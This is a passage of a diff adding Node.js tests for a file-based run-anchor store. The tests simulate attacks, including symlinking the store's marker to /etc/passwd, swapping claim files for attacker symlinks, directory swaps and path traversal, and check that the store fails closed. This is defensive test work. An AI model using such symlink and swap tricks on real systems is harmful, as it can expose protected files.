orphans conflict', async () => { + await withAnchor(async (root, store) => { + await store.submit(makeSubmitInput()); + const selection = makeSelectionRequest(); + const requestPath = path.join(root, 'runs', AGGREGATE_RUN_ID, 'selection-request.record.json'); + await writeFile(requestPath, `${canonicalJsonStringify(selection.record)}\n`, { mode: 0o600 }); + await chmod(requestPath, 0o600); + const adopted = await store.commitSelectionRequest({ + run_id: AGGREGATE_RUN_ID, + expected_revision: 0, + request_identity: selection.identity, + record: selection.record, + }); + assert.equal(adopted.created, true); + assert.equal(adopted.coordination.phase, 'awaiting_selection'); + + const replyPath = path.join(root, 'runs', AGGREGATE_RUN_ID, 'selection-reply.record.json'); + const planPath = path.join(root, 'runs', AGGREGATE_RUN_ID, 'resolved-plan.record.json'); + await writeFile(replyPath, `${canonicalJsonStringify(makeStoredReply( + AGGREGATE_RUN_ID, selection.identity.request_id, defaultAnswers(1), + ))}\n`, { mode: 0o600 }); + await chmod(replyPath, 0o600); + await writeFile(planPath, `${canonicalJsonStringify(makeStoredPlan(AGGREGATE_RUN_ID))}\n`, { mode: 0o600 }); + await chmod(planPath, 0o600); + const resolved = await store.commitSelectionResolution({ + run_id: AGGREGATE_RUN_ID, + expected_revision: 1, + request_identity: selection.identity, + reply_record: makeReplyInput( + AGGREGATE_RUN_ID, selection.identity.request_id, defaultAnswers(1), + ), + resolved_plan_record: makePlanInput(AGGREGATE_RUN_ID, true), + }); + assert.equal(resolved.created, true); + }); + + await withAnchor(async (root, store) => { + await store.submit(makeSubmitInput()); + const selection = makeSelectionRequest(); + const requestPath = path.join(root, 'runs', AGGREGATE_RUN_ID, 'selection-request.record.json'); + const other = makeSelectionRequest({ assignmentCount: 8 }); + await writeFile(requestPath, `${canonicalJsonStringify(other.record)}\n`, { mode: 0o600 }); + await chmod(requestPath, 0o600); + assert.equal((await errorOf(() => store.commitSelectionRequest({ + run_id: AGGREGATE_RUN_ID, + expected_revision: 0, + request_identity: selection.identity, + record: selection.record, + }))).code, 'aggregate_run_orphan_conflict'); + }); +}); + +test('committed missing malformed and digest-mismatched records are corruption', async () => { + await withAnchor(async (root, store) => { + const input = makeSubmitInput(); + await store.submit(input); + const selection = makeSelectionRequest(); + await store.commitSelectionRequest({ + run_id: AGGREGATE_RUN_ID, + expected_revision: 0, + request_identity: selection.identity, + record: selection.record, + }); + const requestPath = path.join(root, 'runs', AGGREGATE_RUN_ID, 'selection-request.record.json'); + await rm(requestPath); + assert.equal((await errorOf(() => store.getCoordination(AGGREGATE_RUN_ID))).code, + 'aggregate_run_record_corruption'); + const replay = await errorOf(() => store.submit(input)); + assert.equal(replay.code, 'aggregate_run_record_corruption'); + assert.notEqual(replay.code, undefined); + }); + + await withAnchor(async (root, store) => { + const input = makeSubmitInput(); + await store.submit(input); + const selection = makeSelectionRequest(); + await store.commitSelectionRequest({ + run_id: AGGREGATE_RUN_ID, + expected_revision: 0, + request_identity: selection.identity, + record: selection.record, + }); + const requestPath = path.join(root, 'runs', AGGREGATE_RUN_ID, 'selection-request.record.json'); + await writeFile(requestPath, '{"schema":"nope"\n', { mode: 0o600 }); + assert.equal((await errorOf(() => store.getCoordination(AGGREGATE_RUN_ID))).code, + 'aggregate_run_record_corruption'); + assert.equal((await errorOf(() => store.submit(input))).code, 'aggregate_run_record_corruption'); + }); + + await withAnchor(async (root, store) => { + const input = makeSubmitInput(); + await store.submit(input); + const selection = makeSelectionRequest(); + await store.commitSelectionRequest({ + run_id: AGGREGATE_RUN_ID, + expected_revision: 0, + request_identity: selection.identity, + record: selection.record, + }); + const requestPath = path.join(root, 'runs', AGGREGATE_RUN_ID, 'selection-request.record.json'); + const other = makeSelectionRequest({ assignmentCount: 8 }); + await writeFile(requestPath, `${canonicalJsonStringify(other.record)}\n`, { mode: 0o600 }); + await chmod(requestPath, 0o600); + assert.equal((await errorOf(() => store.getCoordination(AGGREGATE_RUN_ID))).code, + 'aggregate_run_record_corruption'); + assert.equal((await errorOf(() => store.submit(input))).code, 'aggregate_run_record_corruption'); + }); + + await withAnchor(async (root, store) => { + const input = makeSubmitInput(); + await store.submit(input); + await store.commitResolvedPlan({ + run_id: AGGREGATE_RUN_ID, + expected_revision: 0, + resolved_plan_record: makePlanInput(AGGREGATE_RUN_ID, true), + }); + const planPath = path.join(root, 'runs', AGGREGATE_RUN_ID, 'resolved-plan.record.json'); + const parsed = JSON.parse((await readFile(planPath, 'utf8')).trim()); + parsed.canonical_digest = `sha256:${'ab'.repeat(32)}`; + await writeFile(planPath, `${canonicalJsonStringify(parsed)}\n`, { mode: 0o600 }); + await chmod(planPath, 0o600); + assert.equal((await errorOf(() => store.getCoordination(AGGREGATE_RUN_ID))).code, + 'aggregate_run_record_corruption'); + assert.equal((await errorOf(() => store.submit(input))).code, 'aggregate_run_record_corruption'); + }); + + await withAnchor(async (root, store) => { + const input = makeSubmitInput(); + await store.submit(input); + const selection = makeSelectionRequest(); + await store.commitSelectionRequest({ + run_id: AGGREGATE_RUN_ID, + expected_revision: 0, + request_identity: selection.identity, + record: selection.record, + }); + await store.commitSelectionResolution({ + run_id: AGGREGATE_RUN_ID, + expected_revision: 1, + request_identity: selection.identity, + reply_record: makeReplyInput( + AGGREGATE_RUN_ID, selection.identity.request_id, defaultAnswers(1), + ), + resolved_plan_record: makePlanInput(AGGREGATE_RUN_ID, true), + }); + const replyPath = path.join(root, 'runs', AGGREGATE_RUN_ID, 'selection-reply.record.json'); + await rm(replyPath); + assert.equal((await errorOf(() => store.submit(input))).code, 'aggregate_run_record_corruption'); + await writeFile(replyPath, '{"schema":"nope"\n', { mode: 0o600 }); + assert.equal((await errorOf(() => store.getByRunId(AGGREGATE_RUN_ID))).code, + 'aggregate_run_record_corruption'); + }); +}); + +test('malformed out-of-order and conflicting prefixes fail closed without overwrite', async () => { + await withAnchor(async (root, store) => { + const input = makeSubmitInput(); + const first = await store.submit(input); + const runDir = path.join(root, 'runs', AGGREGATE_RUN_ID); + const anchorPath = path.join(runDir, 'anchor.json'); + const coordPath = path.join(runDir, 'coordination.json'); + const stampPath = path.join(runDir, 'created.json'); + const requestPath = path.join(runDir, 'selection-request.record.json'); + const anchorBytes = await readFile(anchorPath); + const coordBytes = await readFile(coordPath); + + await rm(coordPath); + await rm(stampPath); + await writeFile(anchorPath, '{"schema":"nope"\n', { mode: 0o600 }); + const malformed = await errorOf(() => store.submit(input)); + assert.ok([ + 'aggregate_run_malformed', + 'aggregate_run_identity_mismatch', + 'aggregate_run_unreadable', + ].includes(malformed.code), malformed.code); + assert.equal((await readFile(anchorPath)).toString('utf8'), '{"schema":"nope"\n'); + + await writeFile(anchorPath, anchorBytes, { mode: 0o600 }); + await chmod(anchorPath, 0o600); + await writeFile(coordPath, coordBytes, { mode: 0o600 }); + await chmod(coordPath, 0o600); + await rm(anchorPath); + const outOfOrder = await errorOf(() => store.submit(input)); + assert.equal(outOfOrder.code, 'aggregate_run_unreadable'); + assert.equal((await readFile(coordPath)).equals(coordBytes), true); + assert.equal((await readdir(runDir)).includes('anchor.json'), false); + + await writeFile(anchorPath, anchorBytes, { mode: 0o600 }); + await chmod(anchorPath, 0o600); + await writeFile(stampPath, `${canonicalJsonStringify({ + schema: AGGREGATE_RUN_STAMP_SCHEMA_ID, + run_id: AGGREGATE_RUN_ID, + record_canonical_digest: first.record.canonical_digest, + nonce: 'ab'.repeat(16), + })}\n`, { mode: 0o600 }); + await chmod(stampPath, 0o600); + await rm(coordPath); + const stampBeforeCoord = await errorOf(() => store.submit(input)); + assert.equal(stampBeforeCoord.code, 'aggregate_run_unreadable'); + assert.equal((await readFile(anchorPath)).equals(anchorBytes), true); + assert.equal((await readdir(runDir)).includes('coordination.json'), false); + + await rm(stampPath); + const otherRoot = await makePrivateRoot('r1-r24a-conflict-anchor-'); + try { + const otherStore = await initializeAggregateRunAnchorRoot(otherRoot); + await otherStore.submit(makeSubmitInput({ assignmentCount: 8 })); + const conflicting = await readFile(path.join(otherRoot, 'runs', AGGREGATE_RUN_ID, 'anchor.json')); + await writeFile(anchorPath, conflicting, { mode: 0o600 }); + await chmod(anchorPath, 0o600); + } finally { + await rm(otherRoot, { recursive: true, force: true }); + } + const conflict = await errorOf(() => store.submit(input)); + assert.equal(conflict.code, 'aggregate_run_identity_conflict'); + const afterConflict = await readFile(anchorPath); + assert.equal(afterConflict.equals(anchorBytes), false); + + await writeFile(anchorPath, anchorBytes, { mode: 0o600 }); + await chmod(anchorPath, 0o600); + await writeFile(requestPath, `${canonicalJsonStringify(makeSelectionRequest().record)}\n`, { mode: 0o600 }); + await chmod(requestPath, 0o600); + const unexpected = await errorOf(() => store.submit(input)); + assert.equal(unexpected.code, 'aggregate_run_unreadable'); + assert.equal((await readFile(anchorPath)).equals(anchorBytes), true); + assert.equal((await readdir(runDir)).includes('coordination.json'), false); + assert.equal((await readdir(runDir)).includes('created.json'), false); + }); +}); + +test('claim mismatch conflicts without removing the winner; crash temps are cleaned', async () => { + await withAnchor(async (root, store) => { + const first = await store.submit(makeSubmitInput()); + const claimPath = path.join(root, 'claims', `${AGGREGATE_RUN_ID}.json`); + const winner = await readFile(claimPath); + const conflict = makeSubmitInput({ assignmentCount: 8 }); + conflict.run_id = AGGREGATE_RUN_ID; + const error = await errorOf(() => store.submit(conflict)); + assert.ok(error.code === 'aggregate_run_identity_conflict' + || error.code === 'aggregate_run_idempotency_conflict', error.code); + assert.equal((await readFile(claimPath)).equals(winner), true); + assert.equal((await store.getByRunId(AGGREGATE_RUN_ID)).canonical_digest, first.record.canonical_digest); + + const tempName = `.tmp-${'ab'.repeat(16)}`; + await writeFile(path.join(root, tempName), 'torn', { mode: 0o600 }); + await writeFile(path.join(root, 'claims', tempName), 'torn', { mode: 0o600 }); + await writeFile(path.join(root, 'runs', AGGREGATE_RUN_ID, tempName), 'torn', { mode: 0o600 }); + await store.getByRunId(AGGREGATE_RUN_ID); + const rootNames = await readdir(root); + assert.ok(!rootNames.includes(tempName)); + const claimNames = await readdir(path.join(root, 'claims')); + assert.ok(!claimNames.includes(tempName)); + const runNames = await readdir(path.join(root, 'runs', AGGREGATE_RUN_ID)); + assert.ok(!runNames.includes(tempName)); + }); +}); + +test('symlink hardlink FIFO and directory swaps fail closed with typed content-free errors', async () => { + const parent = await makePrivateRoot('r1-r24a-swap-'); + try { + const real = path.join(parent, 'real'); + await mkdir(real, { mode: 0o700 }); + await chmod(real, 0o700); + const linked = path.join(parent, 'linked'); + await symlink(real, linked); + assert.equal((await errorOf(() => initializeAggregateRunAnchorRoot(linked))).code, + 'aggregate_run_root_unsafe'); + + const store = await initializeAggregateRunAnchorRoot(real); + await store.submit(makeSubmitInput()); + + const other = path.join(parent, 'other'); + await mkdir(other, { mode: 0o700 }); + await chmod(other, 0o700); + const otherStore = await initializeAggregateRunAnchorRoot(other); + await otherStore.submit(makeSubmitInput({ runId: 'aggregate-other-run' })); + const handle = store; + const swapped = path.join(parent, 'swapped'); + await rename(real, swapped); + await rename(other, real); + const swapError = await errorOf(() => handle.getByRunId(AGGREGATE_RUN_ID)); + assert.ok([ + 'aggregate_run_root_swapped', + 'aggregate_run_root_missing', + 'aggregate_run_root_unsafe', + 'aggregate_run_marker_swapped', + ].includes(swapError.code), swapError.code); + assertNoSecret(swapError); + + const marked = path.join(parent, 'marked'); + await mkdir(marked, { mode: 0o700 }); + await chmod(marked, 0o700); + await initializeAggregateRunAnchorRoot(marked); + const marker = path.join(marked, 'storage-root.v1'); + await rm(marker); + await symlink('/etc/passwd', marker); + const markerError = await errorOf(() => openAggregateRunAnchor(marked)); + assert.ok(markerError.code === 'aggregate_run_not_regular' + || markerError.code === 'aggregate_run_root_unsafe' + || markerError.code === 'aggregate_run_marker_swapped', markerError.code); + assertNoSecret(markerError); + } finally { + await rm(parent, { recursive: true, force: true }); + } +}); + +test('claim and run directory swaps plus non-regular files fail closed', async () => { + await withAnchor(async (root, store) => { + await store.submit(makeSubmitInput()); + const claimPath = path.join(root, 'claims', `${AGGREGATE_RUN_ID}.json`); + const backup = path.join(path.dirname(root), `${path.basename(root)}-claim.bak`); + await rename(claimPath, backup); + await symlink('/tmp/ATTACKER-SECRET', claimPath); + const claimError = await errorOf(() => store.getByRunId(AGGREGATE_RUN_ID)); + assert.ok([ + 'aggregate_run_not_regular', + 'aggregate_run_claim_swapped', + 'aggregate_run_root_unsafe', + 'aggregate_run_root_foreign', + ].includes(claimError.code), claimError.code); + assertNoSecret(claimError); + await rm(claimPath); + await rename(backup, claimPath); + + const runPath = path.join(root, 'runs', AGGREGATE_RUN_ID); + const moved = path.join(path.dirname(root), `${path.basename(root)}-run.moved`); + await rename(runPath, moved); + await mkdir(runPath, { mode: 0o700 }); + await chmod(runPath, 0o700); + const runError = await errorOf(() => store.getByRunId(AGGREGATE_RUN_ID)); + assert.ok([ + 'aggregate_run_unreadable', + 'aggregate_run_dir_swapped', + 'aggregate_run_not_found', + ].includes(runError.code), runError.code); + await rm(moved, { recursive: true, force: true }); + }); +}); + +test('proxy accessor foreign flood oversized and duplicate JSON fail closed', async () => { + await withAnchor(async (root, store) => { + const input = makeSubmitInput(); + const { proxy, counts } = countingProxy(input); + const proxyError = await errorOf(() => store.submit(proxy)); + assert.equal(proxyError.code, 'proxy_denied'); + assert.equal(trapTotal(counts), 0); + + await store.submit(input); + const accessor = { + ...makePlanInput(AGGREGATE_RUN_ID, true), + }; + Object.defineProperty(accessor, 'complete', { + get() { return true; }, + enumerable: true, + }); + assert.equal((await errorOf(() => store.commitResolvedPlan({ + run_id: AGGREGATE_RUN_ID, + expected_revision: 0, + resolved_plan_record: accessor, + }))).code, 'accessor_property_denied'); + + await writeFile(path.join(root, 'notes.txt'), 'ATTACKER-SECRET', { mode: 0o600 }); + const foreign = await errorOf(() => openAggregateRunAnchor(root)); + assert.equal(foreign.code, 'aggregate_run_root_foreign'); + assertNoSecret(foreign); + }); + + const flood = await makePrivateRoot('r1-r24a-flood-'); + try { + await initializeAggregateRunAnchorRoot(flood); + for (let index = 0; index < 70; index += 1) { + const runId = `aggregate-flood-${String(index).padStart(2, '0')}`; + const handle = await open(path.join(flood, 'claims', `${runId}.json`), 'wx', 0o600); + await handle.writeFile('{}\n'); + await handle.close(); + } + const flooded = await openAggregateRunAnchor(flood); + const error = await errorOf(() => flooded.submit(makeSubmitInput({ runId: 'aggregate-flood-zz' }))); + assert.ok(error.code === 'aggregate_run_flood' || error.code === 'aggregate_run_malformed', + error.code); + } finally { + await rm(flood, { recursive: true, force: true }); + } +}); + +test('outputs stay deeply frozen and diagnostics never echo secrets or record bodies', async () => { + await withAnchor(async (root, store) => { + const first = await store.submit(makeSubmitInput()); + assert.ok(Object.isFrozen(first)); + assert.ok(Object.isFrozen(first.record)); + assert.ok(Object.isFrozen(first.coordination)); + const loaded = await store.getByRunId(AGGREGATE_RUN_ID); + assert.ok(Object.isFrozen(loaded)); + const plan = await store.commitResolvedPlan({ + run_id: AGGREGATE_RUN_ID, + expected_revision: 0, + resolved_plan_record: makePlanInput(AGGREGATE_RUN_ID, true), + }); + assert.equal(plan.coordination.phase, 'resolution_ready'); + assert.equal(plan.record.schema.startsWith('codex-co-engineer.'), true); + + const coordPath = path.join(root, 'runs', AGGREGATE_RUN_ID, 'coordination.json'); + const text = (await readFile(coordPath, 'utf8')).replace( + '"phase":"resolution_ready"', + '"phase":"ATTACKER-SECRET"', + ); + await writeFile(coordPath, text, { mode: 0o600 }); + const error = await errorOf(() => store.getCoordination(AGGREGATE_RUN_ID)); + assertNoSecret(error); + assert.doesNotMatch(error.message, /resolution_ready/u); + }); +}); + +test('incomplete plan records and unknown keys fail closed before publication', async () => { + await withAnchor(async (_root, store) => { + await store.submit(makeSubmitInput()); + assert.equal((await errorOf(() => store.commitResolvedPlan({ + run_id: AGGREGATE_RUN_ID, + expected_revision: 0, + resolved_plan_record: { + schema: AGGREGATE_RESOLVED_PLAN_SCHEMA_ID, + run_id: AGGREGATE_RUN_ID, + complete: false, + }, + }))).code, 'aggregate_run_phase_conflict'); + assert.equal((await errorOf(() => store.commitResolvedPlan({ + run_id: AGGREGATE_RUN_ID, + expected_revision: 0, + resolved_plan_record: { + schema: AGGREGATE_RESOLVED_PLAN_SCHEMA_ID, + run_id: AGGREGATE_RUN_ID, + complete: true, + extra: true, + }, + }))).code, 'unknown_key'); + }); +}); + +test('path attacks and truncated files fail closed', async () => { + const root = await makePrivateRoot('r1-r24a-path-'); + try { + assert.equal((await errorOf(() => initializeAggregateRunAnchorRoot('relative/root'))).code, + 'aggregate_run_path_unsafe'); + assert.equal((await errorOf(() => initializeAggregateRunAnchorRoot(`${root}/../${path.basename(root)}`))).code, + 'aggregate_run_path_unsafe'); + const store = await initializeAggregateRunAnchorRoot(root); + await store.submit(makeSubmitInput()); + const anchorPath = path.join(root, 'runs', AGGREGATE_RUN_ID, 'anchor.json'); + await truncate(anchorPath, 12); + const error = await errorOf(() => store.getByRunId(AGGREGATE_RUN_ID)); + assert.ok([ + 'aggregate_run_malformed', + 'aggregate_run_unreadable', + 'aggregate_run_identity_mismatch', + ].includes(error.code), error.code); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); diff --git a/plugins/codex-co-engineer/test/r1-aggregate-run-anchor.test.mjs b/plugins/codex-co-engineer/test/r1-aggregate-run-anchor.test.mjs new file mode 100644 index 0000000..c4fb2c2 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-aggregate-run-anchor.test.mjs @@ -0,0 +1,440 @@ +import assert from 'node:assert/strict'; +import { spawn } from 'node:child_process'; +import { chmod, lstat, mkdir, readdir, readFile, rm, writeFile } from 'node:fs/promises'; +import path from 'node:path'; +import test from 'node:test'; + +import { + AGGREGATE_RUN_ANCHOR_SCHEMA_ID, + AGGREGATE_STORAGE_ROOT_KIND, + STORAGE_ROOT_SCHEMA_ID, + initializeAggregateRunAnchorRoot, + openAggregateRunAnchor, +} from '../mcp/v3/aggregate-run-anchor.mjs'; +import { canonicalJsonStringify } from '../mcp/v3/identity.mjs'; +import { createRunJournal } from '../mcp/v3/run-journal.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { openRunStore } from '../mcp/v3/run-store.mjs'; +import { + AGGREGATE_RUN_ID, + defaultAnswers, + makePlanInput, + makePrivateRoot, + makeReplyInput, + makeSelectionRequest, + makeSubmitInput, +} from './fixtures/r1-aggregate-run-anchor-fixtures.mjs'; +import { makeSubmission } from './fixtures/r1-run-store-fixtures.mjs'; + +const WORKER = new URL('./fixtures/r1-aggregate-run-anchor-worker.mjs', import.meta.url).pathname; + +function errorOf(action) { + return Promise.resolve() + .then(action) + .then(() => assert.fail('expected a typed RunContractV1Error'), (error) => { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + return error; + }); +} + +function assertFrozenTree(value) { + assert.ok(value === null || typeof value !== 'object' || Object.isFrozen(value), + 'returned records must be frozen'); + if (value && typeof value === 'object') { + for (const child of Object.values(value)) assertFrozenTree(child); + } +} + +async function withAnchor(fn, options = {}) { + const root = await makePrivateRoot(); + try { + const store = await initializeAggregateRunAnchorRoot(root); + return await fn(root, store, options); + } finally { + await rm(root, { recursive: true, force: true }); + } +} + +function spawnWorker({ root, mode, runId = AGGREGATE_RUN_ID, assignmentCount = 1 }) { + const child = spawn(process.execPath, [WORKER, root, mode, runId, String(assignmentCount)], { + stdio: ['ignore', 'pipe', 'pipe'], + }); + let stdout = ''; + let stderr = ''; + child.stdout.on('data', (chunk) => { stdout += chunk; }); + child.stderr.on('data', (chunk) => { stderr += chunk; }); + const closed = new Promise((resolve, reject) => { + let finished = false; + child.on('error', (error) => { + if (finished) return; + finished = true; + reject(error); + }); + child.on('close', () => { + if (finished) return; + finished = true; + resolve(); + }); + }); + const done = closed.then(() => { + const lines = stdout.trim().split('\n').filter(Boolean); + assert.equal(lines.length, 1, `worker must print exactly one JSON line (${stderr.trim()})`); + assert.ok(lines[0].length <= 4096, 'worker JSON line exceeds the bounded length'); + return JSON.parse(lines[0]); + }); + return { done, closed, child }; +} + +async function waitWorkers(workers) { + const settled = await Promise.allSettled(workers.map((worker) => worker.done)); + await Promise.all(workers.map((worker) => worker.closed.catch(() => {}))); + const results = []; + for (const item of settled) { + if (item.status === 'rejected') throw item.reason; + results.push(item.value); + } + return results; +} + +test('initialize publishes an owner-only marker and open rejects unmarked empty roots', async () => { + const root = await makePrivateRoot(); + try { + assert.equal((await errorOf(() => openAggregateRunAnchor(root))).code, + 'aggregate_run_root_uninitialized'); + const store = await initializeAggregateRunAnchorRoot(root); + assert.equal(store.root, root); + assert.match(store.marker_digest, /^sha256:[0-9a-f]{64}$/u); + assert.equal(typeof store.cas, 'undefined'); + const names = await readdir(root); + assert.deepEqual(names.sort(), ['claims', 'runs', 'storage-root.v1']); + const marker = JSON.parse((await readFile(path.join(root, 'storage-root.v1'), 'utf8')).trim()); + assert.equal(marker.schema, STORAGE_ROOT_SCHEMA_ID); + assert.equal(marker.kind, AGGREGATE_STORAGE_ROOT_KIND); + const stat = await lstat(path.join(root, 'storage-root.v1')); + assert.equal(stat.isFile(), true); + assert.equal(stat.nlink, 1); + assert.equal(stat.mode & 0o777, 0o600); + const claimsStat = await lstat(path.join(root, 'claims')); + assert.equal(claimsStat.isDirectory(), true); + assert.equal(claimsStat.mode & 0o777, 0o700); + const reopened = await openAggregateRunAnchor(root); + assert.equal(reopened.marker_digest, store.marker_digest); + assert.equal((await errorOf(() => initializeAggregateRunAnchorRoot(root))).code, + 'aggregate_run_root_foreign'); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); + +test('submit persists 1- and 8-assignment identities and exact retry is idempotent', async () => { + await withAnchor(async (root, store) => { + const one = makeSubmitInput({ assignmentCount: 1 }); + const first = await store.submit(one); + assert.equal(first.created, true); + assert.equal(first.record.schema, AGGREGATE_RUN_ANCHOR_SCHEMA_ID); + assert.equal(first.record.run_id, AGGREGATE_RUN_ID); + assert.equal(first.coordination.phase, 'submitted'); + assert.equal(first.coordination.revision, 0); + assertFrozenTree(first); + const claimStat = await lstat(path.join(root, 'claims', `${AGGREGATE_RUN_ID}.json`)); + const runStat = await lstat(path.join(root, 'runs', AGGREGATE_RUN_ID)); + assert.equal(claimStat.isFile(), true); + assert.equal(claimStat.nlink, 1); + assert.equal(runStat.isDirectory(), true); + const replay = await store.submit({ ...one }); + assert.equal(replay.created, false); + assert.equal(replay.record.canonical_digest, first.record.canonical_digest); + assert.equal(canonicalJsonStringify(replay.record), canonicalJsonStringify(first.record)); + const afterClaim = await lstat(path.join(root, 'claims', `${AGGREGATE_RUN_ID}.json`)); + assert.equal(afterClaim.ino, claimStat.ino); + const claim = JSON.parse((await readFile(path.join(root, 'claims', `${AGGREGATE_RUN_ID}.json`), 'utf8')).trim()); + const stamp = JSON.parse((await readFile(path.join(root, 'runs', AGGREGATE_RUN_ID, 'created.json'), 'utf8')).trim()); + assert.equal(stamp.nonce, claim.nonce); + assert.equal(stamp.record_canonical_digest, first.record.canonical_digest); + + const eight = makeSubmitInput({ runId: 'aggregate-eight-lane-run', assignmentCount: 8 }); + const createdEight = await store.submit(eight); + assert.equal(createdEight.created, true); + assert.notEqual(createdEight.record.canonical_digest, first.record.canonical_digest); + assert.equal(createdEight.record.run_id, 'aggregate-eight-lane-run'); + assert.equal(eight.identity.manifest_digest !== one.identity.manifest_digest, true); + const restarted = await openAggregateRunAnchor(root); + const loaded = await restarted.getByRunId(AGGREGATE_RUN_ID); + assert.equal(loaded.canonical_digest, first.record.canonical_digest); + const coord = await restarted.getCoordination(AGGREGATE_RUN_ID); + assert.equal(coord.phase, 'submitted'); + assert.equal(coord.revision, 0); + }); +}); + +test('P05 selection identity commits through the absorbing lattice and identical retries', async () => { + await withAnchor(async (_root, store) => { + const input = makeSubmitInput(); + await store.submit(input); + const selection = makeSelectionRequest(); + assert.match(selection.identity.request_id, /^sel-[0-9a-f]{32}$/u); + const requested = await store.commitSelectionRequest({ + run_id: AGGREGATE_RUN_ID, + expected_revision: 0, + request_identity: selection.identity, + record: selection.record, + }); + assert.equal(requested.created, true); + assert.equal(requested.coordination.phase, 'awaiting_selection'); + assert.equal(requested.coordination.revision, 1); + assert.equal(requested.coordination.selection_request_binding.request_id, selection.identity.request_id); + assert.equal(requested.coordination.selection_request_binding.digest, selection.identity.digest); + const replayRequest = await store.commitSelectionRequest({ + run_id: AGGREGATE_RUN_ID, + expected_revision: 0, + request_identity: selection.identity, + record: selection.record, + }); + assert.equal(replayRequest.created, false); + assert.equal(replayRequest.coordination.state_digest, requested.coordination.state_digest); + + const resolved = await store.commitSelectionResolution({ + run_id: AGGREGATE_RUN_ID, + expected_revision: 1, + request_identity: selection.identity, + reply_record: makeReplyInput( + AGGREGATE_RUN_ID, + selection.identity.request_id, + defaultAnswers(1), + ), + resolved_plan_record: makePlanInput(AGGREGATE_RUN_ID, true), + }); + assert.equal(resolved.created, true); + assert.equal(resolved.coordination.phase, 'resolution_ready'); + assert.equal(resolved.coordination.revision, 2); + const replayResolved = await store.commitSelectionResolution({ + run_id: AGGREGATE_RUN_ID, + expected_revision: 1, + request_identity: selection.identity, + reply_record: makeReplyInput( + AGGREGATE_RUN_ID, + selection.identity.request_id, + defaultAnswers(1), + ), + resolved_plan_record: makePlanInput(AGGREGATE_RUN_ID, true), + }); + assert.equal(replayResolved.created, false); + assert.equal(replayResolved.coordination.state_digest, resolved.coordination.state_digest); + }); +}); + +test('submitted@0 can absorb directly into resolution_ready@1 for a complete plan', async () => { + await withAnchor(async (_root, store) => { + await store.submit(makeSubmitInput()); + const first = await store.commitResolvedPlan({ + run_id: AGGREGATE_RUN_ID, + expected_revision: 0, + resolved_plan_record: makePlanInput(AGGREGATE_RUN_ID, true), + }); + assert.equal(first.created, true); + assert.equal(first.coordination.phase, 'resolution_ready'); + assert.equal(first.coordination.revision, 1); + assert.equal(first.coordination.selection_request_binding, null); + const replay = await store.commitResolvedPlan({ + run_id: AGGREGATE_RUN_ID, + expected_revision: 0, + resolved_plan_record: makePlanInput(AGGREGATE_RUN_ID, true), + }); + assert.equal(replay.created, false); + assert.equal((await errorOf(() => store.commitSelectionRequest({ + run_id: AGGREGATE_RUN_ID, + expected_revision: 0, + request_identity: makeSelectionRequest().identity, + record: makeSelectionRequest().record, + }))).code, 'aggregate_run_revision_conflict'); + }); +}); + +test('root-kind reverse separation with P24 and P25 fails closed without writes', async () => { + const p24 = await makePrivateRoot('r1-r24a-p24-'); + const p25 = await makePrivateRoot('r1-r24a-p25-'); + const r24a = await makePrivateRoot('r1-r24a-own-'); + try { + const store = await openRunStore(p24); + await store.submit(makeSubmission()); + const beforeP24 = (await readdir(p24)).sort(); + assert.equal((await errorOf(() => initializeAggregateRunAnchorRoot(p24))).code, + 'aggregate_run_root_shared'); + assert.equal((await errorOf(() => openAggregateRunAnchor(p24))).code, + 'aggregate_run_root_shared'); + assert.deepEqual((await readdir(p24)).sort(), beforeP24); + + await store.submit(makeSubmission({ runId: 'run-journal-bind' })); + await createRunJournal({ root: p25, store, run_id: 'run-journal-bind' }); + const beforeP25 = (await readdir(p25)).sort(); + assert.equal((await errorOf(() => initializeAggregateRunAnchorRoot(p25))).code, + 'aggregate_run_root_shared'); + assert.equal((await errorOf(() => openAggregateRunAnchor(p25))).code, + 'aggregate_run_root_shared'); + assert.deepEqual((await readdir(p25)).sort(), beforeP25); + + const anchor = await initializeAggregateRunAnchorRoot(r24a); + await anchor.submit(makeSubmitInput()); + const beforeR24a = (await readdir(r24a)).sort(); + const p24OnR24a = await errorOf(() => openRunStore(r24a)); + assert.ok(['run_store_foreign_entry', 'run_store_root_unsafe', 'run_store_not_regular'] + .includes(p24OnR24a.code), p24OnR24a.code); + const p25OnR24a = await errorOf(() => createRunJournal({ + root: r24a, store, run_id: 'run-journal-bind', + })); + assert.ok(typeof p25OnR24a.code === 'string' && p25OnR24a.code.startsWith('run_')); + assert.deepEqual((await readdir(r24a)).sort(), beforeR24a); + } finally { + await rm(p24, { recursive: true, force: true }); + await rm(p25, { recursive: true, force: true }); + await rm(r24a, { recursive: true, force: true }); + } +}); + +test('exact claim recovers the same identity; empty dir without claim is never adopted', async () => { + await withAnchor(async (root, store) => { + const input = makeSubmitInput(); + const first = await store.submit(input); + const claimPath = path.join(root, 'claims', `${AGGREGATE_RUN_ID}.json`); + const claimBytes = await readFile(claimPath); + await rm(path.join(root, 'runs', AGGREGATE_RUN_ID), { recursive: true, force: true }); + const recovered = await store.submit(input); + assert.equal(recovered.record.canonical_digest, first.record.canonical_digest); + assert.equal((await readFile(claimPath)).equals(claimBytes), true); + + const foreignId = 'aggregate-empty-dir-run'; + await mkdir(path.join(root, 'runs', foreignId), { mode: 0o700 }); + await chmod(path.join(root, 'runs', foreignId), 0o700); + const emptyError = await errorOf(() => store.submit(makeSubmitInput({ runId: foreignId }))); + assert.equal(emptyError.code, 'aggregate_run_claim_conflict'); + assert.equal((await readdir(path.join(root, 'claims'))).includes(`${foreignId}.json`), false); + }); +}); + +test('exact claim resumes empty, anchor, and initial-coordination prefixes', async () => { + await withAnchor(async (root, store) => { + const input = makeSubmitInput(); + const first = await store.submit(input); + const runDir = path.join(root, 'runs', AGGREGATE_RUN_ID); + const claimPath = path.join(root, 'claims', `${AGGREGATE_RUN_ID}.json`); + const claimBytes = await readFile(claimPath); + const claim = JSON.parse(claimBytes.toString('utf8').trim()); + + await rm(path.join(runDir, 'anchor.json')); + await rm(path.join(runDir, 'coordination.json')); + await rm(path.join(runDir, 'created.json')); + assert.deepEqual((await readdir(runDir)).filter((name) => !name.startsWith('.')), []); + const empty = await store.submit(input); + assert.equal(empty.record.canonical_digest, first.record.canonical_digest); + assert.equal(empty.coordination.phase, 'submitted'); + assert.equal((await 